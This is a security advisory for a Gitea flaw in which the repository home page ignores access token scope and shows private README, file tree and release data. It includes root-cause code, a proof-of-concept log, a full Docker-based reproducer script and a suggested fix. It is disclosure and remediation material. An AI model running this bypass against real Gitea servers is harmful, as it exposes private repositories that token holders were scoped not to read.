CVE-2026-58444: Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents
Summary A personal access token (PAT) or OAuth2 token that does not carry the repository scope or that is public-only is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds).
Published Jul 21, 2026
Affected packages
code.gitea.io/gitea
- Ecosystem
- Go
- Affected
- < 1.27.0
- Fixed in
- 1.27.0
- Check
go list -m code.gitea.io/gitea
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A personal access token (PAT) or OAuth2 token that does not carry the repository scope or that is public-only is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route GET /{owner}/{repo} (handler repo.Home) serves the private repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token.
This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in:
- GHSA-cr4g-f395-h25h (CVE-2026-20706) token scope bypass on web archive download
- GHSA-3pww-vcvm-3gmj (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds
repo.Home is the remaining token-auth-enabled content route that was not given the guard.
Details / Root cause
Web routes accept token authentication only when explicitly opted in with webAuth.AllowBasic / webAuth.AllowOAuth2. The repository home route carries AllowBasic (added so that go get can resolve private modules):
// routers/web/web.go:1256
m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic,
context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),
repo.SetEditorconfigIfExists, repo.Home)When a PAT/OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go sets IsApiToken = true and records ApiTokenScope:
// services/auth/basic.go
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.ScopeThe patched sibling handlers all call the web-side scope guard context.CheckRepoScopedToken(...), which enforces both the public-only restriction and the repository scope:
routers/web/repo/download.go:23 (raw / media / archive) ← GHSA-cr4g
routers/web/feed/render.go:15 (all repo feeds) ← GHSA-3pww
routers/web/repo/attachment.go:190 (attachments / release assets, centralized)
routers/web/repo/githttp.go:161 (git smart HTTP) ← GHSA-cc8wrepo.Home (routers/web/repo/view_home.go:389) performs no such check. Its only gate is checkHomeCodeViewable, which verifies the user's permission and that the code unit is enabled neither of which constrains the token's scope. The README, file listing, and sidebar are then rendered. (The handleRepoHomeFeed sub-path is guarded via ShowRepoFeed, but the HTML repo view is not.)
Proof of Concept
Reproduced against gitea/gitea:main-nightly (build g2e1be0b114, identical to the source commit above). A private repository admin/secretrepo is created, and a token is minted with only the read:user scope (no repository scope).
=== anonymous baseline (repository is private) ===
anon GET /admin/secretrepo HTTP=404
=== same no-repo-scope token across routes ===
API repo get (proves token lacks repo scope) HTTP=403 canary=0
/admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0
/admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0
/admin/secretrepo.rss (control) HTTP=403 canary=0
/admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1A second token with scope public-only,read:repository behaves identically: /archive → 403, but /admin/secretrepo → 200 and returns the private content.
canary=1 means the private README marker was returned in the HTML response; the private file name SECRET.md is also disclosed in the rendered file tree.
Full self-contained reproducer (Docker, prints a PASS/FAIL verdict):
#!/usr/bin/env bash
set -euo pipefail
N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'
docker rm -f $N >/dev/null 2>&1 || true
docker run -d --name $N \
-e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \
-e GITEA__server__ROOT_URL=http://localhost:3000/ \
-e GITEA__service__DISABLE_REGISTRATION=true \
-p 3000:3000 gitea/gitea:main-nightly >/dev/null
for i in $(seq 1 40); do
[ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done
docker exec -u git $N gitea admin user create --admin --username admin \
--password "$PW" --email [email protected] --must-change-password=false >/dev/null
curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \
-H 'Content-Type: application/json' \
-d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null
SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
| python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])")
curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
-H 'Content-Type: application/json' \
-d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null
TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \
--scopes read:user --token-name norepo --raw | tail -1)
echo "anon : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)"
for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do
o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p")
echo "/$p -> ${o##*|} canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)"
done
echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1"
docker rm -f $N >/dev/nullImpact
Any holder of a non-repository-scoped or public-only token belonging to a user who has access to private repositories can read those repositories' README, root file/directory listing, description, languages, license, and latest release content the token was explicitly scoped to be unable to read. This defeats the purpose of fine-grained and public-only tokens (for example a CI token granted only read:issue, or a public-only token issued to a third-party integration).
The disclosure is bounded to the repository root view because the deeper /{owner}/{repo}/src/* routes do not enable AllowBasic.
Suggested remediation
Mirror the sibling handlers: at the start of repo.Home (routers/web/repo/view_home.go), or as route middleware on routers/web/web.go:1256, add:
context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)
if ctx.Written() {
return
}It is also worth auditing the other AllowBasic/AllowOAuth2 web routes that render repository data for the same omission notably actions.GetWorkflowBadge (routers/web/web.go:1568), which currently exposes a private repository's workflow build status (pass/fail) to a token without the repository scope (lower impact, possibly intended since badges are designed to be embeddable, but worth confirming).
Credited to StarPlatinu.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-20779
Gitea: TOTP TOCTOU race on web 2FA paths + missing replay check on Basic-Auth `X-Gitea-OTP` surface
high7.1Jul 21, 2026CVE-2026-20896
Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`
critical9.8Jul 21, 2026CVE-2026-22874
Gitea: Incomplete SSRF Protection in Webhook and Migration Allow-list Default Filter
critical9.6Jul 21, 2026CVE-2026-23603
Gitea: Blind SSRF in OAuth2 avatar synchronization via unvalidated OIDC picture claim
low3.1Jul 21, 2026CVE-2026-24451
Gitea: Fork Synchronization Continues After Parent Repository Changes from Public to Private
high7.5Jul 21, 2026CVE-2026-25038
Gitea: Unauthorized Access to Labels of Private Organizations
high7.5Jul 21, 2026
